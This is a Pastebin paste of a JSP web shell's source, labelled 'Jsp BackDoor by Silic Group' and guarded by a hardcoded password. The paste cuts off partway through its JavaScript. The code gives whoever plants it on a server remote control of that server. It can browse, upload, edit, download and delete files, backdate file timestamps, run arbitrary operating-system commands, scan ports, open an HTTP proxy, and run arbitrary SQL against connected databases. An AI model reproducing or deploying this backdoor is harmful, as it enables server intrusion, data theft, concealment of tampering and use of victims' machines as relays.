Advertisement
Guest User

Untitled

a guest
Dec 23rd, 2016
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.60 KB | None | 0 0
  1. <%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
  2. <%@page pageEncoding="gbk"%>
  3. <%!
  4. final String APP_NAME="Manage System - JSP";
  5. int portListen=5000;
  6. boolean openHttpProxy=false;
  7. void mainForm(String web_Site,JspWriter out)throws Exception{
  8. out.print("<table width=100% height=100% border=0 bgcolor=menu>");
  9. out.print("<tr><td height=30 colspan=2>");
  10. out.print("<table width=100% height=25 border=0>");
  11. out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
  12. out.print("<tr><td width=60 align=center>FilePath:</td><td>");
  13. out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
  14. out.print("<input type=hidden name=Action value=F>");
  15. out.print("<input type=hidden name=Filename>");
  16. out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
  17. out.print("</td></tr></form></table></td></tr><tr><td width=148>");
  18. out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
  19. out.print("<td width=600>");
  20. out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
  21. out.print("</td></tr></table>");
  22. }
  23. void mainMenu(JspWriter out,String web_Site)throws Exception{
  24. out.println("<table>");
  25. out.println("<tr><td bgcolor=Gray><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
  26. out.println("<tr><td bgcolor=menu onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
  27. out.println("<tr><td bgcolor=menu><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
  28. out.println("<tr><td bgcolor=menu><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
  29. out.println("<tr><td bgcolor=menu><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
  30. out.println("<tr><td bgcolor=menu><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
  31. out.println("<tr><td bgcolor=menu><a href='http://blackbap.org/' target=FileFrame>About Silic Group</a></td></tr>");
  32. out.println("</table>");
  33. }
  34. void showFiles(JspWriter out,String path)throws Exception{
  35. File file=new File(path);
  36. long maxSize=0;
  37. if(file.isDirectory()&&file.exists()){
  38. File[] f=file.listFiles();
  39. out.println("<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
  40. for(int i=0;i<f.length;i++){
  41. maxSize=maxSize+f[i].length();
  42. if(f[i].isDirectory())
  43. out.println("<tr bgcolor=menu><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
  44. else
  45. out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
  46. }
  47. out.println("</table>");
  48. out.print("this folder size:"+getSize(maxSize));
  49. }
  50. }
  51. void showSystemInfo(JspWriter out)throws Exception{
  52. Map map=null;
  53. Set set=null;
  54. Iterator it=null;
  55.  
  56. map=System.getProperties();
  57. set=map.keySet();
  58. it=set.iterator();
  59. out.println("<hr>System Property info:<ul>");
  60. while(it.hasNext()){
  61. Object oName=it.next();
  62. out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
  63. }
  64. out.print("</ul><hr>System CPU :");
  65. out.print(Runtime.getRuntime().availableProcessors()+" <br>");
  66. out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
  67. out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
  68. }
  69. void servletInfo(ServletConfig config,JspWriter out)throws Exception{
  70. ServletContext sc=config.getServletContext();
  71. out.println("Server info: "+sc.getServerInfo()+"<br>");
  72. out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
  73. out.println("Major version :"+sc.getMajorVersion()+"<br>");
  74. out.println("Minor version :"+sc.getMinorVersion()+"<br>");
  75. Enumeration en=sc.getInitParameterNames();
  76. String initInfo="init parameter: <br>";
  77. out.print(initInfo);
  78. while(en.hasMoreElements()){
  79. String name=(String)en.nextElement();
  80. initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
  81. out.print(initInfo);
  82. }
  83.  
  84. }
  85. void downFile(String filename,HttpServletResponse res)throws Exception{
  86. int w=0;
  87. byte[] buffer=new byte[256];
  88. byte[] b=(new File(filename)).getName().getBytes();
  89. String outFile=new String(b,"ISO-8859-1");
  90. res.reset();
  91. res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
  92. ServletOutputStream sos=res.getOutputStream();
  93. BufferedInputStream bis=null;
  94. try{
  95. bis=new BufferedInputStream(new FileInputStream(filename));
  96. while((w=bis.read(buffer,0,buffer.length))!=-1){
  97. sos.write(buffer,0,w);
  98. }
  99. }catch(Exception e){
  100. }finally{
  101. if(bis!=null)bis.close();
  102. }
  103. sos.flush();
  104. res.flushBuffer();
  105. }
  106. void deleteFile(String filename,JspWriter out)throws Exception{
  107. File f=new File(filename);
  108. if(f.exists()){
  109. if(f.delete())out.print(filename+"delete success...");
  110. }else{
  111. out.print("file not find!!");
  112. }
  113. }
  114. void renameFile(String filename,JspWriter out)throws Exception{
  115. int split=filename.indexOf("|");
  116. String newFilename=filename.substring(split+1);
  117. filename=filename.substring(0,split);
  118. File f=new File(filename);
  119. if(f.exists()){
  120. if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
  121. }else{
  122. out.print("file not find!");
  123. }
  124. }
  125. void copyFile(String filename,JspWriter out)throws Exception{
  126. int split=filename.indexOf("|");
  127. String newFilename=filename.substring(split+1);
  128. filename=filename.substring(0,split);
  129. File f=new File(filename);
  130. BufferedInputStream bis=null;
  131. BufferedOutputStream bos=null;
  132. if(f.exists()){
  133. try{
  134. bis=new BufferedInputStream(new FileInputStream(filename));
  135. bos=new BufferedOutputStream(new FileOutputStream(newFilename));
  136. int s=0;
  137. while((s=bis.read())!=-1){
  138. bos.write(s);
  139. }
  140. }catch(Exception e){
  141. out.print("file copy failed");
  142. }finally{
  143. if(bis!=null)bis.close();
  144. if(bos!=null)bos.close();
  145. }
  146. out.print(newFilename+"file copy success");
  147. }else{
  148. out.print("file not find!");
  149. }
  150. }
  151. void editFile(String filename,JspWriter out)throws IOException{
  152. File f=new File(filename);
  153. out.print("<form method=post>File Path:");
  154. out.print("<input type=text size=80 name=filename value='"+filename+"'>");
  155. out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
  156. out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
  157. out.print("<textarea name=FileContent rows=35 style=width:100%;>");
  158. if(f.exists()){
  159. try{
  160. BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"Gb2312"));
  161. String s="";
  162. while((s=br.readLine())!=null){
  163. out.println(htmlEntity(s));
  164. }
  165. }catch(Exception e){
  166. out.print("file edit failed");
  167. }finally{
  168. }
  169. }
  170. out.print("</textarea></form>");
  171. }
  172. void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
  173. if(filename!=null||fileContent!=null){
  174. BufferedOutputStream bos=null;
  175. try{
  176. bos=new BufferedOutputStream(new FileOutputStream(filename));
  177. bos.write(fileContent,0,fileContent.length);
  178. }finally{
  179. if(bos!=null)bos.close();
  180. }
  181. out.print(filename+"file save success");
  182. }else{
  183. out.print("Error");
  184. }
  185. }
  186. void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
  187. File f=new File(filename);
  188. if(f.exists()){
  189. Calendar calendar=Calendar.getInstance();
  190. calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
  191. if(f.setLastModified(calendar.getTimeInMillis()))
  192. out.print(filename+"file date change success");
  193. else
  194. out.print(filename+"file date change error");
  195. }else{
  196. out.println("file not find!!!");
  197. }
  198. }
  199. void execFile(String file,JspWriter out)throws Exception{
  200. int i=0;
  201. Runtime rt=Runtime.getRuntime();
  202. Process ps=rt.exec(file);
  203. InputStreamReader isr = null;
  204. char[] bufferC=new char[1024];
  205. try{
  206. isr=new InputStreamReader(ps.getInputStream(),"GB2312");
  207. out.print("<textarea rows=35 style=width:100%;>");
  208. while((i=isr.read(bufferC,0,bufferC.length))!=-1){
  209. out.print(htmlEntity(new String(bufferC,0,i)));
  210. }
  211. }catch(Exception e){
  212. out.print("run file error");
  213. }finally{
  214. if(isr!=null)isr.close();
  215. }
  216. out.print("</textarea>");
  217. systemTools(out);
  218. }
  219. void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
  220. FileOutputStream output = null;
  221. ZipOutputStream zipOutput = null;
  222. try{
  223. output = new FileOutputStream(zipPath);
  224. zipOutput = new ZipOutputStream(output);
  225. zipEntry(zipOutput,srcPath,srcPath,zipPath);
  226. }catch(Exception e){
  227. out.print("file zip error");
  228. }finally{
  229. if(zipOutput!=null)zipOutput.close();
  230. }
  231. out.print("zip ok"+zipPath);
  232. }
  233. void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
  234. String entryName = filePath;
  235. File f = new File(filePath);
  236. if (f.isDirectory()){
  237. String[] files = f.list();
  238. for(int i = 0; i < files.length; i++)
  239. zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
  240. return;
  241. }
  242. String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);
  243. int idx=initPath.lastIndexOf(chPh);
  244. if (idx != -1) {
  245. entryName = filePath.substring(idx);
  246. }
  247. ZipEntry entry;
  248. entry = new ZipEntry(entryName);
  249. File ff = new File(filePath);
  250. if(ff.getAbsolutePath().equals(zipPath))return;
  251. entry.setSize(ff.length());
  252. entry.setTime(ff.lastModified());
  253. entry.setCrc(0);
  254. CRC32 crc = new CRC32();
  255. crc.reset();
  256. zipOs.putNextEntry(entry);
  257. int len = 0;
  258. byte[] buffer = new byte[2048];
  259. int bufferLen = 2048;
  260. FileInputStream input =null;
  261. try{
  262. input = new FileInputStream(filePath);
  263. while ((len = input.read(buffer, 0, bufferLen)) != -1) {
  264. zipOs.write(buffer, 0, len);
  265. crc.update(buffer, 0, len);
  266. }
  267. }catch(Exception e){
  268. }finally{
  269. if(input!=null)input.close();
  270. }
  271. entry.setCrc(crc.getValue());
  272. }
  273. void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
  274. String boundary = request.getContentType().substring(30);
  275. ServletInputStream sis=request.getInputStream();
  276. BufferedOutputStream bos=null;
  277. byte[] buffer = new byte[1024];
  278. int line=-1;
  279. for(int i=0;i<5;i++){
  280. line=readLine(buffer,sis,boundary);
  281. }
  282. try{
  283. bos=new BufferedOutputStream(new FileOutputStream(filename));
  284. while(line!=-1){
  285. bos.write(buffer,0,line);
  286. line=readLine(buffer,sis,boundary);
  287. }
  288. out.print("upload success");
  289. }catch(Exception e){
  290. out.print("upload failed!");
  291. }finally{
  292. if(bos!=null)bos.close();
  293. }
  294. }
  295. int readLine(byte[] lineByte,ServletInputStream servletInputstream,String endStr){
  296. try{
  297. int len=0;
  298. len=servletInputstream.readLine(lineByte,0,lineByte.length);
  299. String str=new String(lineByte,0,len);
  300. System.out.println(str);
  301. if(str.indexOf(endStr)==-1)
  302. return len;
  303. else
  304. return -1;
  305. }catch(Exception _ex){
  306. return -1;
  307. }
  308. }
  309. void newFolder(JspWriter out,String foldername)throws Exception{
  310. File f=new File(foldername);
  311. if(f.mkdirs()){
  312. out.print("create folder success");
  313. }else{
  314. out.print("create folder failed!");
  315. }
  316. }
  317. void reflectAPI(JspWriter out,String className)throws Exception{
  318. Class cls=Class.forName(className);
  319. String constructor="";
  320. String ifString="";
  321. Class[] interfaces=cls.getInterfaces();
  322. String supperClass=cls.getSuperclass().toString();
  323. Constructor[] c=cls.getDeclaredConstructors();
  324. Field[] f=cls.getDeclaredFields();
  325. Method[] m=cls.getDeclaredMethods();
  326.  
  327. for(int i=0;i<interfaces.length;i++){
  328. ifString=ifString+interfaces[i].getName()+",";
  329. }
  330. out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString);
  331. out.print("<br>{<br><EM>Constructor:</EM><br>");
  332. for(int i=0;i<c.length;i++)
  333. out.print(" "+c[i]+"<br>");
  334. out.print("<EM>Field:</EM><br>");
  335. for(int i=0;i<f.length;i++)
  336. out.print(" "+f[i]+"<br>");
  337. out.print("<EM>Function:</EM><br>");
  338. for(int i=0;i<m.length;i++)
  339. out.print(" "+m[i]+"<br>");
  340. out.print("<br>}");
  341. }
  342. void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
  343. if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){
  344. out.print("port setup error");
  345. return;
  346. }
  347. InetAddress ia=InetAddress.getByName(strAddress);
  348. for(int p=startPort;p<=endPort;p+=15){
  349. (new ScanPort(ia,p,p+14,out)).start();
  350. }
  351. Thread.sleep((int)(endPort/startPort)*5000);
  352. }
  353. class ScanPort extends Thread{
  354. int startPort;
  355. int endPort;
  356. InetAddress address;
  357. javax.servlet.jsp.JspWriter out;
  358. public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
  359. this.address=address;
  360. this.startPort=startPort;
  361. this.endPort=endPort;
  362. this.out=out;
  363. }
  364. public void run(){
  365. Socket s=null;
  366. for(int port=startPort;port<=endPort;port++){
  367. try{
  368. s=new Socket(address,port);
  369. out.println("port "+port+" is Open<br>");
  370. }
  371. catch(IOException e){
  372. }finally{
  373. try{s.close();}catch(Exception e){}
  374. }
  375. }
  376. }
  377. }
  378. public void switchProxyService(JspWriter out)throws Exception{
  379. if(openHttpProxy=!openHttpProxy){
  380. new RunProxyService(portListen).start();
  381. out.print("Proxy running");
  382. }else{
  383. out.print("Proxy closed");
  384. }
  385. }
  386. public class RunProxyService extends Thread{
  387. int port;
  388. public RunProxyService(int port){
  389. this.port=port;
  390. }
  391. public void run(){
  392. try {
  393. ServerSocket ss=new ServerSocket(5000);
  394. while(true){
  395. if(openHttpProxy){
  396. new HttpProxy(ss.accept()).start();
  397. }else{
  398. break;
  399. }
  400. }
  401. ss.close();
  402. } catch (IOException e) {
  403. }
  404. }
  405. }
  406. public class HttpProxy extends Thread{
  407. private Socket s;
  408. public int timeOut=10000;
  409. public HttpProxy(Socket s){
  410. this.s=s;
  411. }
  412. public HttpProxy(Socket s,int timeOut){
  413. this.s=s;
  414. this.timeOut=timeOut;
  415. }
  416. public void run(){
  417. byte[] bit=new byte[1024];
  418. int readBit=0;
  419. int size=0;
  420. String returnAddress=null;
  421. int returnPort = 0;
  422. String sendHostName=null;
  423. int sendPort=0;
  424. Socket sendSocket=null;
  425. OutputStream os=null;
  426. InputStream is=null;
  427. try{
  428. int split=0;
  429. is=s.getInputStream();
  430. if((size=is.read(bit, 0, bit.length))==-1)return;
  431. String httpHead=new String(bit,0,size);
  432. split=httpHead.indexOf("\nHost: ")+7;
  433. sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
  434. if((split=sendHostName.indexOf(':'))!=-1){
  435. sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
  436. sendHostName=sendHostName.substring(0,split);
  437. sendSocket=new Socket(sendHostName.trim(),sendPort);
  438. }else{
  439. sendSocket=new Socket(sendHostName.trim(),80);
  440. }
  441. sendSocket.setSoTimeout(timeOut);
  442. os=sendSocket.getOutputStream();
  443. os.write(httpHead.getBytes());
  444. if(size==bit.length)
  445. while((size=is.read(bit, 0, bit.length))!=-1){
  446. os.write(bit,0 , size);
  447. }
  448. os.flush();
  449. is=sendSocket.getInputStream();
  450. os=s.getOutputStream();
  451.  
  452. while((size=is.read(bit, 0, bit.length))!=-1){
  453. os.write(bit,0 , size);
  454. os.flush();
  455. }
  456. }catch(SocketException se){
  457. } catch (IOException ie) {
  458. } catch (Exception e) {
  459. }finally{
  460. if(is!=null){
  461. try {
  462. is.close();
  463. } catch (IOException e) {
  464. }
  465. }
  466. if(os!=null){
  467. try {
  468. os.close();
  469. } catch (IOException e) {
  470. }
  471. }
  472. }
  473. }
  474. }
  475. void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
  476. DBM dbm=new DBM(driver,url,userName,passWord,out);
  477. if(sqlAction.equals("LDB")){
  478. dbm.lookInfo();
  479. }else{
  480. dbm.executeSQL(sqlCmd);
  481. }
  482. dbm.closeAll();
  483. }
  484. class DBM{
  485. private JspWriter out;
  486. private Connection con;
  487. private Statement stmt;
  488. private ResultSet rs;
  489. public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
  490. Class.forName(driverName);
  491. this.out=out;
  492. con=DriverManager.getConnection(url,userName,passWord);
  493. }
  494. public void lookInfo()throws Exception{
  495. DatabaseMetaData dbmd=con.getMetaData();
  496. String tableType=null;
  497. out.print("<strong>DataBaseInfo</strong><table>");
  498. out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
  499. out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
  500. out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
  501. out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
  502. out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
  503. out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
  504. out.print("</table>");
  505. out.print("<strong>ProcedureInfo</strong><table>");
  506. try{
  507. getProcedureDetail(dbmd.getProcedures(null,null,null));
  508. }catch(Exception proE){}
  509. try{
  510. rs=dbmd.getTables(null,null,null,null);
  511. }catch(Exception tabE){}
  512. out.print("<strong>DataBase Tables Info</strong><br>");
  513. while(rs.next()){
  514. tableType=rs.getString(4);
  515. out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
  516. if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
  517. try{
  518. getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
  519. }catch(Exception columnE){}
  520. }
  521. }
  522. this.closeAll();
  523. }
  524. private void getTableDetail(ResultSet tableRs)throws Exception{
  525. out.print("<table border=1><tr><td>Column Name</td><td>Data Type</td><td>Type Name</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
  526. while(tableRs.next()){
  527. out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
  528. }
  529. out.print("</table>");
  530. tableRs.close();
  531. }
  532. private void getProcedureDetail(ResultSet procRs)throws Exception{
  533. out.print("<table border=1><tr><td>PROCEDURE_NAME</td><td>REMARKS</td><td>PROCEDURE_TYPE</td></tr>");
  534. while(procRs.next()){
  535. out.print("<tr><td>"+procRs.getString(3)+"</td><td>"+procRs.getString(7)+"</td><td>"+procRs.getShort(8)+"</td></tr>");
  536. }
  537. out.print("</table>");
  538. procRs.close();
  539. }
  540. public void executeSQL(String sqlCmd)throws Exception{
  541. stmt=con.createStatement();
  542. if(sqlCmd.trim().toLowerCase().startsWith("select")){
  543. rs=stmt.executeQuery(sqlCmd);
  544. ResultSetMetaData rsmd=rs.getMetaData();
  545. int ColumnCount=rsmd.getColumnCount();
  546. out.print("<table border=1><tr>");
  547. for(int i=1;i<=ColumnCount;i++){
  548. out.print("<td>"+rsmd.getColumnName(i)+"</td>");
  549. }
  550. out.print("</tr>");
  551. while(rs.next()){
  552. out.print("</tr>");
  553. for(int i=1;i<=ColumnCount;i++){
  554. out.print("<td>"+rs.getString(i)+"</td>");
  555. }
  556. out.print("</tr>");
  557. }
  558. }else{
  559. stmt.executeUpdate(sqlCmd);
  560. out.print("execute success");
  561. }
  562. }
  563. public void closeAll()throws SQLException{
  564. try{
  565. if(rs!=null)rs.close();
  566. }catch(Exception e){
  567. }
  568. try{
  569. if(stmt!=null)stmt.close();
  570. }catch(Exception e){
  571. }
  572. try{
  573. if(con!=null)con.close();
  574. }catch(Exception e){
  575. }
  576. }
  577. }
  578. void systemTools(JspWriter out)throws Exception{
  579. out.print("<table border=1>");
  580. out.print("<tr><form method=post action='?Action=run'><td bordercolorlight=Black bgcolor=menu>System class run</td>");
  581. out.print("<td colspan=2>filepath:<input name=execFile size=75 type=text title='d:\\cmd.exe /c dir c:'></td><td><input name=go type=submit value=run></td></form></tr>");
  582. out.print("<tr><form method=post enctype=\"multipart/form-data\" action='?Action=Upfile'><td bordercolorlight=Black bgcolor=menu>file upload</td>");
  583. out.print("<td colspan=2>file:<input name=file type=file>upload file<input title='d:\\silic.txt' name=UPaddress size=35 type=text></td><td><input name=up onclick=\"this.form.action+='&UPaddress='+this.form.UPaddress.value;\" type=submit value=upl></td></form></tr>");
  584. out.print("<tr><form method=post action='?Action=EditFile'><td bordercolorlight=Black bgcolor=menu>new file</td><td colspan=2>file name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
  585. out.print("</form></tr>");
  586. out.print("<tr><form method=post action='?Action=newFolder'><td bordercolorlight=Black bgcolor=menu>Create folder</td><td colspan=2>folder name:<input name=Filename type=text size=50></td><td><input name=submit type=submit value=new></td>");
  587. out.print("</form></tr>");
  588. out.print("<tr><form method=post action='?Action=APIreflect'><td bordercolorlight=Black bgcolor=menu>Reflect API</td><td colspan=2>Class Name:<input name=Filename title=java.lang.String type=text size=50></td><td><input name=submit type=submit value=ref></td>");
  589. out.print("</form></tr>");
  590. out.print("<tr><form method=post action='?Action=IPscan'><td bordercolorlight=Black bgcolor=menu>Scan Port</td><td>IP:<input name=IPaddress type=text size=20></td><td>Start Port:<input name=startPort title=1-65535 type=text size=5>End Port:<input name=endPort title=1-65535 type=text size=5></td><td><input name=submit type=submit value=sca></td>");
  591. out.print("</form></tr>");
  592. out.print("<tr><form method=post action='?Action=sql'>");
  593. out.print("<td bordercolorlight=Black bgcolor=menu>DBM");
  594. out.print("<select name=DB onChange='setDataBase(this.form);'><option>Sybase</option><option>Mssql</option><option>Mysql</option><option>Oracle</option><option>DB2</option><option>PostgreSQL</option></select></td><td>");
  595. out.print("Driver:<input name=driver type=text>URL:<input name=conUrl type=text>user:<input name=user type=text size=3>password:<input name=password type=text size=3></td>");
  596. out.print("<td>SqlCmd:<input type=text name=sqlcmd title='select * from admin'><input name=run type=submit value=Exec></td>");
  597. out.print("<td><input name=run type=submit value=LDB></td>");
  598. out.print("</form></tr>");
  599. if(!openHttpProxy){
  600. out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>OpenTheHttpProxy</a></td></tr>");
  601. }else{
  602. out.print("<tr><td><a href='?Action=HttpProxy' target=FileFrame>CloseTheHttpProxy</a></td></tr>");
  603. }
  604. out.print("</table>");
  605. }
  606. void userInterFaces(JspWriter out)throws Exception{
  607. out.print("Recode by <a href='http://blackbap.org/'>Silic Group Inc.</a>");
  608. }
  609.  
  610. String encodeChange(String str)throws Exception{
  611. if(str==null)
  612. return null;
  613. else
  614. return new String(str.getBytes("ISO-8859-1"),"gb2312");
  615. }
  616. String folderReplace(String folder){
  617. return folder.replace('\\','/');
  618. }
  619. String fOperation(boolean f,String file){
  620. if(f)
  621. return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:zipFile('"+folderReplace(file)+"')\">Zip</a>";
  622. else
  623. return "<a href=\"javascript:delFile('"+folderReplace(file)+"')\">Delete</a> <a href=\"javascript:reName('"+folderReplace(file)+"')\">Rename</a> <a href=\"javascript:setDate('"+folderReplace(file)+"')\">setDate</a> <a href=\"javascript:copyFile('"+folderReplace(file)+"')\">Copy</a> <a href=\"javascript:editFile('"+folderReplace(file)+"')\">Edit</a> <a href=\"javascript:downFile('"+folderReplace(file)+"');\">Down</a>";
  624. }
  625. String getSize(long size){
  626. if(size>=1024*1024*1024){
  627. return new Long(size/1073741824L)+"G";
  628. }else if(size>=1024*1024){
  629. return new Long(size/1048576L)+"M";
  630. }else if(size>=1024){
  631. return new Long(size/1024)+"K";
  632. }else
  633. return size+"B";
  634. }
  635. String ico(int num){
  636. return "<font face=wingdings size=3>&#"+num+"</font>";
  637. }
  638. String htmlEntity(String htmlCode){
  639. StringBuffer sb=new StringBuffer();
  640. char c=0;
  641. for(int i=0;i<htmlCode.length();i++){
  642. c=htmlCode.charAt(i);
  643. if(c=='<')sb.append("<");
  644. else if(c=='>')sb.append(">");
  645. else if(c==' ')sb.append(" ");
  646. else sb.append(c);
  647. }
  648. return sb.toString();
  649. }
  650. %>
  651. <%
  652. session.setMaxInactiveInterval(6000);
  653. final String WEB_SITE=folderReplace(application.getRealPath("/"));
  654. final String URL=request.getRequestURI();
  655. if(session.getAttribute("ID")==null){
  656. String username="admin";
  657. String password="silic";
  658. if(request.getParameter("Silic")!=null&&request.getParameter("juliet")!=null&&request.getParameter("Silic").equals(username)&&request.getParameter("juliet").equals(password)){
  659. session.setAttribute("ID","1");
  660. response.sendRedirect(URL);
  661. }else{
  662. out.println("<center style=font-size:12px><br><br>"+"Jsp BackDoor by Silic Group Juliet"+"<br><br>" +
  663. "<form name=login method=post>username:<input name=Silic type=text size=15><br>" +
  664. "password:<input name=juliet type=password size=15><br><input type=submit value=Login></form></center>");
  665. }
  666. return;
  667. }
  668. %>
  669. <html>
  670. <head>
  671. <meta http-equiv=Content-Type content="text/html; charset=gb2312">
  672. <title><%=APP_NAME%></title>
  673. <style type="text/css">
  674. body,td{font-size: 12px;}
  675. table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
  676. input,select{font-size:12px;}
  677. body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
  678. td{white-space:nowrap;}
  679. a{color:black;text-decoration:none;}
  680. </style>
  681. <script>
  682. Top=top.address;
  683. function downFile(file){
  684. Top.Filename.value=file;
  685. Top.Action.value="D";
  686. Top.submit();
  687. }
  688. function checkUrl(){
  689. top.address.Action.value="F";
  690. top.address.submit();
  691. }
  692. function editFile(file){
  693. top.address.Action.value="E";
  694. top.address.Filename.value=file;
  695. top.address.submit();
  696. }
  697. function delFile(file){
  698. top.address.Action.value="R";
  699. top.address.Filename.value=file;
  700. top.address.submit();
  701. }
  702. function reName(file){
  703. if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
  704. Top.Action.value="N";
  705. top.address.Filename.value=file+"|"+Rname;
  706. Top.submit();
  707. }
  708. }
  709. function copyFile(file){
  710. if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
  711. Top.Action.value="P";
  712. top.address.Filename.value=file+"|"+Rname;
  713. Top.submit();
  714. }
  715. }
  716. function setDate(file){
  717. document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
  718. document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
  719. document.write("Year:<select name='year'>");
  720. for(i=1970;i<=2050;i++){
  721. document.write("<option value="+i+">"+i+"</option>");
  722. }
  723. document.write("</select>");
  724. document.write("Month:<select name='month'>");
  725. for(i=1;i<=12;i++){
  726. document.write("<option value="+i+">"+i+"</option>");
  727. }
  728. document.write("</select>");
  729. document.write("Day:<select name='day'>");
  730. for(i=1;i<=31;i++){
  731. document.write("<option value="+i+">"+i+"</option>");
  732. }
  733. document.write("</select>");
  734. document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
  735. document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
  736. }
  737. function zipFile(file){
  738. if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
  739. top.address.Action.value="Z";
  740. top.address.FolderPath.value=file;
  741. top.address.Filename.value=zipF;
  742. top.address.submit();
  743. }
  744. }
  745. function setDataBase(f){
  746. driverName=new Array();
  747. driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
  748. driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
  749. driverName[2]="com.mysql.jdbc.Driver";
  750. driverName[3]="oracle.jdbc.driver.OracleDriver";
  751. driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
  752. driverName[5]="org.postgresql.Driver";
  753. conUrl=new Array();
  754. conUrl[0]="jdbc:jtds:sybase://host:port/database";
  755. conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
  756. conUrl[2]="jdbc:mysql://host:port/database";
